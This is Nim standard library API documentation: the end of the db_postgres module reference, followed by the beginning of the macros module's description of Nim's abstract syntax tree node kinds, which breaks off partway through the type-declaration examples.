[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L97) ``` SqlPrepared = distinct string ``` a identifier for the prepared queries [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L100) Procs ----- ``` proc dbError(db: DbConn) {...}{.noreturn, raises: [DbError], tags: [].} ``` raises a DbError exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L102) ``` proc dbQuote(s: string): string {...}{.raises: [], tags: [].} ``` DB quotes the string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L109) ``` proc tryExec(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): bool {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` tries to execute the query and returns true if successful, false otherwise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L134) ``` proc tryExec(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): bool {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` tries to execute the query and returns true if successful, false otherwise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L142) ``` proc exec(db: DbConn; query: SqlQuery; args: varargs[string, `$`]) {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` executes the query and raises EDB if not successful. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L153) ``` proc exec(db: DbConn; stmtName: SqlPrepared; args: varargs[string]) {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L161) ``` proc prepare(db: DbConn; stmtName: string; query: SqlQuery; nParams: int): SqlPrepared {...}{. raises: [DbError], tags: [].} ``` Creates a new `SqlPrepared` statement. Parameter substitution is done via `$1`, `$2`, `$3`, etc. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L187) ``` proc `[]`(row: InstantRow; col: int): string {...}{.inline, raises: [], tags: [].} ``` returns text for given column of the row [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L404) ``` proc unsafeColumnAt(row: InstantRow; index: int): cstring {...}{.inline, raises: [], tags: [].} ``` Return cstring of given column of the row [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L408) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L408) ``` proc len(row: InstantRow): int {...}{.inline, raises: [], tags: [].} ``` returns number of columns in the row [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L412) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L412) ``` proc getRow(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` retrieves a single row. If the query doesn't return any rows, this proc will return a Row with empty strings for each column. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L416) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L416) ``` proc getRow(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L427) ``` proc getAllRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): seq[ Row] {...}{.tags: [ReadDbEffect], raises: [DbError].} ``` executes the query and returns the whole result dataset. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L436) ``` proc getAllRows(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): seq[ Row] {...}{.tags: [ReadDbEffect], raises: [DbError].} ``` executes the prepared query and returns the whole result dataset. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L444) ``` proc getValue(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): string {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` executes the query and returns the first column of the first row of the result dataset. Returns "" if the dataset contains no rows or the database value is NULL. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L462) ``` proc getValue(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): string {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` executes the query and returns the first column of the first row of the result dataset. Returns "" if the dataset contains no rows or the database value is NULL. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L475) ``` proc tryInsertID(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [WriteDbEffect], raises: [DbError, ValueError].} ``` executes the query (typically "INSERT") and returns the generated ID for the row or -1 in case of an error. For Postgre this adds `RETURNING id` to the query, so it only works if your primary key is named `id`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L488) ``` proc insertID(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [WriteDbEffect], raises: [DbError, ValueError].} ``` executes the query (typically "INSERT") and returns the generated ID for the row. For Postgre this adds `RETURNING id` to the query, so it only works if your primary key is named `id`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L502) ``` proc tryInsert(db: DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{.tags: [WriteDbEffect], raises: [DbError, ValueError].} ``` executes the query (typically "INSERT") and returns the generated ID for the row or -1 in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L512) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L512) ``` proc insert(db: DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{.tags: [WriteDbEffect], raises: [DbError, ValueError].} ``` executes the query (typically "INSERT") and returns the generated ID [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L524) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L524) ``` proc execAffectedRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError, ValueError].} ``` executes the query (typically "UPDATE") and returns the number of affected rows. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L532) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L532) ``` proc execAffectedRows(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError, ValueError].} ``` executes the query (typically "UPDATE") and returns the number of affected rows. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L543) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L543) ``` proc close(db: DbConn) {...}{.tags: [DbEffect], raises: [].} ``` closes the database connection. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L556) ``` proc open(connection, user, password, database: string): DbConn {...}{. tags: [DbEffect], raises: [DbError].} ``` opens a database connection. Raises `EDb` if the connection could not be established. Clients can also use Postgres keyword/value connection strings to connect. Example: ``` con = open("", "", "", "host=localhost port=5432 dbname=mydb") ``` See <http://www.postgresql.org/docs/current/static/libpq-connect.html#LIBPQ-CONNSTRING> for more information. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L560) ``` proc setEncoding(connection: DbConn; encoding: string): bool {...}{.tags: [DbEffect], raises: [].} ``` sets the encoding of a database connection, returns true for success, false for failure. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L585) Iterators --------- ``` iterator fastRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` executes the query and iterates over the result dataset. This is very fast, but potentially dangerous: If the for-loop-body executes another query, the results can be undefined. For Postgres it is safe though. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L206) ``` iterator fastRows(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` executes the prepared query and iterates over the result dataset. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L219) ``` iterator instantRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): InstantRow {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` same as fastRows but returns a handle that can be used to get column text on demand using []. Returned handle is valid only within iterator body. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L230) ``` iterator instantRows(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): InstantRow {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` same as fastRows but returns a handle that can be used to get column text on demand using []. Returned handle is valid only within iterator body. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L240) ``` iterator instantRows(db: DbConn; columns: var DbColumns; query: SqlQuery; args: varargs[string, `$`]): InstantRow {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L395) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L395) ``` iterator rows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` same as `fastRows`, but slower and safe. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L452) ``` iterator rows(db: DbConn; stmtName: SqlPrepared; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` same as `fastRows`, but slower and safe. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L457) Exports ------- [DbTypeKind](db_common#DbTypeKind), [sql](db_common#sql.t,string), [DbType](db_common#DbType), [SqlQuery](db_common#SqlQuery), [DbColumn](db_common#DbColumn), [ReadDbEffect](db_common#ReadDbEffect), [DbError](db_common#DbError), [WriteDbEffect](db_common#WriteDbEffect), [dbError](db_common#dbError,string), [DbColumns](db_common#DbColumns), [DbEffect](db_common#DbEffect)
programming_docs
nim macros macros ====== This module contains the interface to the compiler's abstract syntax tree (AST). Macros operate on this tree. See also: * [macros tutorial](https://nim-lang.org/docs/tut3.html) * [macros section in Nim manual](manual#macros) The AST in Nim -------------- This section describes how the AST is modelled with Nim's type system. The AST consists of nodes (`NimNode`) with a variable number of children. Each node has a field named `kind` which describes what the node contains: ``` type NimNodeKind = enum ## kind of a node; only explanatory nnkNone, ## invalid node kind nnkEmpty, ## empty node nnkIdent, ## node contains an identifier nnkIntLit, ## node contains an int literal (example: 10) nnkStrLit, ## node contains a string literal (example: "abc") nnkNilLit, ## node contains a nil literal (example: nil) nnkCaseStmt, ## node represents a case statement ... ## many more NimNode = ref NimNodeObj NimNodeObj = object case kind: NimNodeKind ## the node's kind of nnkNone, nnkEmpty, nnkNilLit: discard ## node contains no additional fields of nnkCharLit..nnkUInt64Lit: intVal: BiggestInt ## the int literal of nnkFloatLit..nnkFloat64Lit: floatVal: BiggestFloat ## the float literal of nnkStrLit..nnkTripleStrLit, nnkCommentStmt, nnkIdent, nnkSym: strVal: string ## the string literal else: sons: seq[NimNode] ## the node's sons (or children) ``` For the `NimNode` type, the `[]` operator has been overloaded: `n[i]` is `n`'s `i`-th child. To specify the AST for the different Nim constructs, the notation `nodekind(son1, son2, ...)` or `nodekind(value)` or `nodekind(field=value)` is used. Some child may be missing. A missing child is a node of kind `nnkEmpty`; a child can never be nil. Leaf nodes/Atoms ---------------- A leaf of the AST often corresponds to a terminal symbol in the concrete syntax. Note that the default `float` in Nim maps to `float64` such that the default AST for a float is `nnkFloat64Lit` as below. | Nim expression | Corresponding AST | | --- | --- | | `42` | `nnkIntLit(intVal = 42)` | | `42'i8` | `nnkInt8Lit(intVal = 42)` | | `42'i16` | `nnkInt16Lit(intVal = 42)` | | `42'i32` | `nnkInt32Lit(intVal = 42)` | | `42'i64` | `nnkInt64Lit(intVal = 42)` | | `42'u8` | `nnkUInt8Lit(intVal = 42)` | | `42'u16` | `nnkUInt16Lit(intVal = 42)` | | `42'u32` | `nnkUInt32Lit(intVal = 42)` | | `42'u64` | `nnkUInt64Lit(intVal = 42)` | | `42.0` | `nnkFloat64Lit(floatVal = 42.0)` | | `42.0'f32` | `nnkFloat32Lit(floatVal = 42.0)` | | `42.0'f64` | `nnkFloat64Lit(floatVal = 42.0)` | | `"abc"` | `nnkStrLit(strVal = "abc")` | | `r"abc"` | `nnkRStrLit(strVal = "abc")` | | `"""abc"""` | `nnkTripleStrLit(strVal = "abc")` | | `' '` | `nnkCharLit(intVal = 32)` | | `nil` | `nnkNilLit()` | | `myIdentifier` | `nnkIdent(strVal = "myIdentifier")` | | `myIdentifier` | after lookup pass: `nnkSym(strVal = "myIdentifier", ...)` | Identifiers are `nnkIdent` nodes. After the name lookup pass these nodes get transferred into `nnkSym` nodes. Calls/expressions ----------------- ### Command call Concrete syntax: ``` echo "abc", "xyz" ``` AST: ``` nnkCommand( nnkIdent("echo"), nnkStrLit("abc"), nnkStrLit("xyz") ) ``` ### Call with `()` Concrete syntax: ``` echo("abc", "xyz") ``` AST: ``` nnkCall( nnkIdent("echo"), nnkStrLit("abc"), nnkStrLit("xyz") ) ``` ### Infix operator call Concrete syntax: ``` "abc" & "xyz" ``` AST: ``` nnkInfix( nnkIdent("&"), nnkStrLit("abc"), nnkStrLit("xyz") ) ``` Note that with multiple infix operators, the command is parsed by operator precedence. Concrete syntax: ``` 5 + 3 * 4 ``` AST: ``` nnkInfix( nnkIdent("+"), nnkIntLit(5), nnkInfix( nnkIdent("*"), nnkIntLit(3), nnkIntLit(4) ) ) ``` As a side note, if you choose to use infix operators in a prefix form, the AST behaves as a [parenthetical function call](#callsslashexpressions-call-with) with `nnkAccQuoted`, as follows: Concrete syntax: ``` `+`(3, 4) ``` AST: ``` nnkCall( nnkAccQuoted( nnkIdent("+") ), nnkIntLit(3), nnkIntLit(4) ) ``` ### Prefix operator call Concrete syntax: ``` ? "xyz" ``` AST: ``` nnkPrefix( nnkIdent("?"), nnkStrLit("abc") ) ``` ### Postfix operator call **Note:** There are no postfix operators in Nim. However, the `nnkPostfix` node is used for the *asterisk export marker* `*`: Concrete syntax: ``` identifier* ``` AST: ``` nnkPostfix( nnkIdent("*"), nnkIdent("identifier") ) ``` ### Call with named arguments Concrete syntax: ``` writeLine(file=stdout, "hallo") ``` AST: ``` nnkCall( nnkIdent("writeLine"), nnkExprEqExpr( nnkIdent("file"), nnkIdent("stdout") ), nnkStrLit("hallo") ) ``` ### Call with raw string literal This is used, for example, in the `bindSym` examples [here](manual#macros-bindsym) and with `re"some regexp"` in the regular expression module. Concrete syntax: ``` echo"abc" ``` AST: ``` nnkCallStrLit( nnkIdent("echo"), nnkRStrLit("hello") ) ``` ### Dereference operator `[]` Concrete syntax: ``` x[] ``` AST: ``` nnkDerefExpr(nnkIdent("x")) ``` ### Addr operator Concrete syntax: ``` addr(x) ``` AST: ``` nnkAddr(nnkIdent("x")) ``` ### Cast operator Concrete syntax: ``` cast[T](x) ``` AST: ``` nnkCast(nnkIdent("T"), nnkIdent("x")) ``` ### Object access operator `.` Concrete syntax: ``` x.y ``` AST: ``` nnkDotExpr(nnkIdent("x"), nnkIdent("y")) ``` If you use Nim's flexible calling syntax (as in `x.len()`), the result is the same as above but wrapped in an `nnkCall`. ### Array access operator `[]` Concrete syntax: ``` x[y] ``` AST: ``` nnkBracketExpr(nnkIdent("x"), nnkIdent("y")) ``` ### Parentheses Parentheses for affecting operator precedence or tuple construction are built with the `nnkPar` node. Concrete syntax: ``` (1, 2, (3)) ``` AST: ``` nnkPar(nnkIntLit(1), nnkIntLit(2), nnkPar(nnkIntLit(3))) ``` ### Curly braces Curly braces are used as the set constructor. Concrete syntax: ``` {1, 2, 3} ``` AST: ``` nnkCurly(nnkIntLit(1), nnkIntLit(2), nnkIntLit(3)) ``` When used as a table constructor, the syntax is different. Concrete syntax: ``` {a: 3, b: 5} ``` AST: ``` nnkTableConstr( nnkExprColonExpr(nnkIdent("a"), nnkIntLit(3)), nnkExprColonExpr(nnkIdent("b"), nnkIntLit(5)) ) ``` ### Brackets Brackets are used as the array constructor. Concrete syntax: ``` [1, 2, 3] ``` AST: ``` nnkBracket(nnkIntLit(1), nnkIntLit(2), nnkIntLit(3)) ``` ### Ranges Ranges occur in set constructors, case statement branches, or array slices. Internally, the node kind `nnkRange` is used, but when constructing the AST, construction with `..` as an infix operator should be used instead. Concrete syntax: ``` 1..3 ``` AST: ``` nnkInfix( nnkIdent(".."), nnkIntLit(1), nnkIntLit(3) ) ``` Example code: ``` macro genRepeatEcho(): stmt = result = newNimNode(nnkStmtList) var forStmt = newNimNode(nnkForStmt) # generate a for statement forStmt.add(ident("i")) # use the variable `i` for iteration var rangeDef = newNimNode(nnkInfix).add( ident("..")).add( newIntLitNode(3),newIntLitNode(5)) # iterate over the range 3..5 forStmt.add(rangeDef) forStmt.add(newCall(ident("echo"), newIntLitNode(3))) # meat of the loop result.add(forStmt) genRepeatEcho() # gives: # 3 # 3 # 3 ``` ### If expression The representation of the `if` expression is subtle, but easy to traverse. Concrete syntax: ``` if cond1: expr1 elif cond2: expr2 else: expr3 ``` AST: ``` nnkIfExpr( nnkElifExpr(cond1, expr1), nnkElifExpr(cond2, expr2), nnkElseExpr(expr3) ) ``` ### Documentation Comments Double-hash (`##`) comments in the code actually have their own format, using `strVal` to get and set the comment text. Single-hash (`#`) comments are ignored. Concrete syntax: ``` ## This is a comment ## This is part of the first comment stmt1 ## Yet another ``` AST: ``` nnkCommentStmt() # only appears once for the first two lines! stmt1 nnkCommentStmt() # another nnkCommentStmt because there is another comment # (separate from the first) ``` ### Pragmas One of Nim's cool features is pragmas, which allow fine-tuning of various aspects of the language. They come in all types, such as adorning procs and objects, but the standalone `emit` pragma shows the basics with the AST. Concrete syntax: ``` {.emit: "#include <stdio.h>".} ``` AST: ``` nnkPragma( nnkExprColonExpr( nnkIdent("emit"), nnkStrLit("#include <stdio.h>") # the "argument" ) ) ``` As many `nnkIdent` appear as there are pragmas between `{..}`. Note that the declaration of new pragmas is essentially the same: Concrete syntax: ``` {.pragma: cdeclRename, cdecl.} ``` AST: ``` nnkPragma( nnkExprColonExpr( nnkIdent("pragma"), # this is always first when declaring a new pragma nnkIdent("cdeclRename") # the name of the pragma ), nnkIdent("cdecl") ) ``` Statements ---------- ### If statement The representation of the if statement is subtle, but easy to traverse. If there is no `else` branch, no `nnkElse` child exists. Concrete syntax: ``` if cond1: stmt1 elif cond2: stmt2 elif cond3: stmt3 else: stmt4 ``` AST: ``` nnkIfStmt( nnkElifBranch(cond1, stmt1), nnkElifBranch(cond2, stmt2), nnkElifBranch(cond3, stmt3), nnkElse(stmt4) ) ``` ### When statement Like the `if` statement, but the root has the kind `nnkWhenStmt`. ### Assignment Concrete syntax: ``` x = 42 ``` AST: ``` nnkAsgn(nnkIdent("x"), nnkIntLit(42)) ``` This is not the syntax for assignment when combined with `var`, `let`, or `const`. ### Statement list Concrete syntax: ``` stmt1 stmt2 stmt3 ``` AST: ``` nnkStmtList(stmt1, stmt2, stmt3) ``` ### Case statement Concrete syntax: ``` case expr1 of expr2, expr3..expr4: stmt1 of expr5: stmt2 elif cond1: stmt3 else: stmt4 ``` AST: ``` nnkCaseStmt( expr1, nnkOfBranch(expr2, nnkRange(expr3, expr4), stmt1), nnkOfBranch(expr5, stmt2), nnkElifBranch(cond1, stmt3), nnkElse(stmt4) ) ``` The `nnkElifBranch` and `nnkElse` parts may be missing. ### While statement Concrete syntax: ``` while expr1: stmt1 ``` AST: ``` nnkWhileStmt(expr1, stmt1) ``` ### For statement Concrete syntax: ``` for ident1, ident2 in expr1: stmt1 ``` AST: ``` nnkForStmt(ident1, ident2, expr1, stmt1) ``` ### Try statement Concrete syntax: ``` try: stmt1 except e1, e2: stmt2 except e3: stmt3 except: stmt4 finally: stmt5 ``` AST: ``` nnkTryStmt( stmt1, nnkExceptBranch(e1, e2, stmt2), nnkExceptBranch(e3, stmt3), nnkExceptBranch(stmt4), nnkFinally(stmt5) ) ``` ### Return statement Concrete syntax: ``` return expr1 ``` AST: ``` nnkReturnStmt(expr1) ``` ### Yield statement Like `return`, but with `nnkYieldStmt` kind. ``` nnkYieldStmt(expr1) ``` ### Discard statement Like `return`, but with `nnkDiscardStmt` kind. ``` nnkDiscardStmt(expr1) ``` ### Continue statement Concrete syntax: ``` continue ``` AST: ``` nnkContinueStmt() ``` ### Break statement Concrete syntax: ``` break otherLocation ``` AST: ``` nnkBreakStmt(nnkIdent("otherLocation")) ``` If `break` is used without a jump-to location, `nnkEmpty` replaces `nnkIdent`. ### Block statement Concrete syntax: ``` block name: ``` AST: ``` nnkBlockStmt(nnkIdent("name"), nnkStmtList(...)) ``` A `block` doesn't need an name, in which case `nnkEmpty` is used. ### Asm statement Concrete syntax: ``` asm """ some asm """ ``` AST: ``` nnkAsmStmt( nnkEmpty(), # for pragmas nnkTripleStrLit("some asm"), ) ``` ### Import section Nim's `import` statement actually takes different variations depending on what keywords are present. Let's start with the simplest form. Concrete syntax: ``` import math ``` AST: ``` nnkImportStmt(nnkIdent("math")) ``` With `except`, we get `nnkImportExceptStmt`. Concrete syntax: ``` import math except pow ``` AST: ``` nnkImportExceptStmt(nnkIdent("math"),nnkIdent("pow")) ``` Note that `import math as m` does not use a different node; rather, we use `nnkImportStmt` with `as` as an infix operator. Concrete syntax: ``` import strutils as su ``` AST: ``` nnkImportStmt( nnkInfix( nnkIdent("as"), nnkIdent("strutils"), nnkIdent("su") ) ) ``` ### From statement If we use `from ... import`, the result is different, too. Concrete syntax: ``` from math import pow ``` AST: ``` nnkFromStmt(nnkIdent("math"), nnkIdent("pow")) ``` Using `from math as m import pow` works identically to the `as` modifier with the `import` statement, but wrapped in `nnkFromStmt`. ### Export statement When you are making an imported module accessible by modules that import yours, the `export` syntax is pretty straightforward. Concrete syntax: ``` export unsigned ``` AST: ``` nnkExportStmt(nnkIdent("unsigned")) ``` Similar to the `import` statement, the AST is different for `export ... except`. Concrete syntax: ``` export math except pow # we're going to implement our own exponentiation ``` AST: ``` nnkExportExceptStmt(nnkIdent("math"),nnkIdent("pow")) ``` ### Include statement Like a plain `import` statement but with `nnkIncludeStmt`. Concrete syntax: ``` include blocks ``` AST: ``` nnkIncludeStmt(nnkIdent("blocks")) ``` ### Var section Concrete syntax: ``` var a = 3 ``` AST: ``` nnkVarSection( nnkIdentDefs( nnkIdent("a"), nnkEmpty(), # or nnkIdent(...) if the variable declares the type nnkIntLit(3), ) ) ``` Note that either the second or third (or both) parameters above must exist, as the compiler needs to know the type somehow (which it can infer from the given assignment). This is not the same AST for all uses of `var`. See [Procedure declaration](macros#statements-procedure-declaration) for details. ### Let section This is equivalent to `var`, but with `nnkLetSection` rather than `nnkVarSection`. Concrete syntax: ``` let a = 3 ``` AST: ``` nnkLetSection( nnkIdentDefs( nnkIdent("a"), nnkEmpty(), # or nnkIdent(...) for the type nnkIntLit(3), ) ) ``` ### Const section Concrete syntax: ``` const a = 3 ``` AST: ``` nnkConstSection( nnkConstDef( # not nnkConstDefs! nnkIdent("a"), nnkEmpty(), # or nnkIdent(...) if the variable declares the type nnkIntLit(3), # required in a const declaration! ) ) ``` ### Type section Starting with the simplest case, a `type` section appears much like `var` and `const`. Concrete syntax: ``` type A = int ``` AST: ``` nnkTypeSection( nnkTypeDef( nnkIdent("A"), nnkEmpty(), nnkIdent("int") ) ) ``` Declaring `distinct` types is similar, with the last `nnkIdent` wrapped in `nnkDistinctTy`. Concrete syntax: ``` type MyInt = distinct int ``` AST: ``` # ... nnkTypeDef( nnkIdent("MyInt"), nnkEmpty(), nnkDistinctTy( nnkIdent("int") ) ) ``` If a type section uses generic parameters, they are treated here: Concrete syntax: ``` type A[T] = expr1 ``` AST: ``` nnkTypeSection( nnkTypeDef( nnkIdent("A"), nnkGenericParams( nnkIdentDefs( nnkIdent("T"), nnkEmpty(), # if the type is declared with options, like # ``[T: SomeInteger]``, they are given here nnkEmpty(), ) ) expr1, ) ) ``` Note that not all `nnkTypeDef` utilize `nnkIdent` as their parameter. One of the most common uses of type declarations is to work with objects. Concrete syntax: ``` type IO = object of RootObj ``` AST: ``` # ... nnkTypeDef( nnkIdent("IO"), nnkEmpty(), nnkObjectTy( nnkEmpty(), # no pragmas here nnkOfInherit( nnkIdent("RootObj") # inherits from RootObj ) nnkEmpty() ) ) ``` Nim's object syntax is rich. Let's take a look at an involved example in its entirety to see some of the complexities. Concrete syntax: ``` type Obj[T] = object {.inheritable.} name: string case isFat: bool of true: m: array[100_000, T] of false: m: array[10, T] ``` AST: ``` # ... nnkObjectTy( nnkPragma( nnkIdent("inheritable") ), nnkEmpty(), nnkRecList( # list of object parameters nnkIdentDefs( nnkIdent("name"), nnkIdent("string"), nnkEmpty() ), nnkRecCase( # case statement within object (not nnkCaseStmt) nnkIdentDefs( nnkIdent("isFat"), nnkIdent("bool"), nnkEmpty() ), nnkOfBranch( nnkIdent("true"), nnkRecList( # again, a list of object parameters nnkIdentDefs( nnkIdent("m"), nnkBracketExpr( nnkIdent("array"), nnkIntLit(100000), nnkIdent("T") ), nnkEmpty() ) ), nnkOfBranch( nnkIdent("false"), nnkRecList( nnkIdentDefs( nnkIdent("m"), nnkBracketExpr( nnkIdent("array"), nnkIntLit(10), nnkIdent("T") ), nnkEmpty() ) ) ) ) ) ) ``` Using an `enum` is similar to using an `object`. Concrete syntax: ``` type X = enum First ``` AST: ``` # ... nnkEnumTy( nnkEmpty(), nnkIdent("First") # you need at least one nnkIdent or the compiler complains ) ``` The usage of `concept` (experimental) is similar to objects. Concrete syntax: ``` type Con = concept x,y,z (x & y & z) is string ``` AST: ``` # ... nnkTypeClassTy( # note this isn't nnkConceptTy! nnkArglist( # ... idents for x, y, z ) # ... ) ``` Static types, like `static[int]`, use `nnkIdent` wrapped in `nnkStaticTy`. Concrete syntax: ``` type A[T: static[int]] = object ``` AST: ``` # ... within nnkGenericParams nnkIdentDefs( nnkIdent("T"), nnkStaticTy( nnkIdent("int") ), nnkEmpty() ) # ... ``` In general, declaring types mirrors this syntax (i.e., `nnkStaticTy` for `static`, etc.). Examples follow (exceptions marked by `*`): | Nim type | Corresponding AST | | --- | --- | | `static` | `nnkStaticTy` | | `tuple` | `nnkTupleTy` | | `var` | `nnkVarTy` | | `ptr` | `nnkPtrTy` | | `ref` | `nnkRefTy` | | `distinct` | `nnkDistinctTy` | | `enum` | `nnkEnumTy` | | `concept` | `nnkTypeClassTy`\* | | `array` | `nnkBracketExpr(nnkIdent("array"),...`\* | | `proc` | `nnkProcTy` | | `iterator` | `nnkIteratorTy` | | `object` | `nnkObjectTy` | Take special care when declaring types as `proc`. The behavior is similar to `Procedure declaration`, below, but does not treat `nnkGenericParams`. Generic parameters are treated in the type, not the `proc` itself. Concrete syntax: ``` type MyProc[T] = proc(x: T) ``` AST: ``` # ... nnkTypeDef( 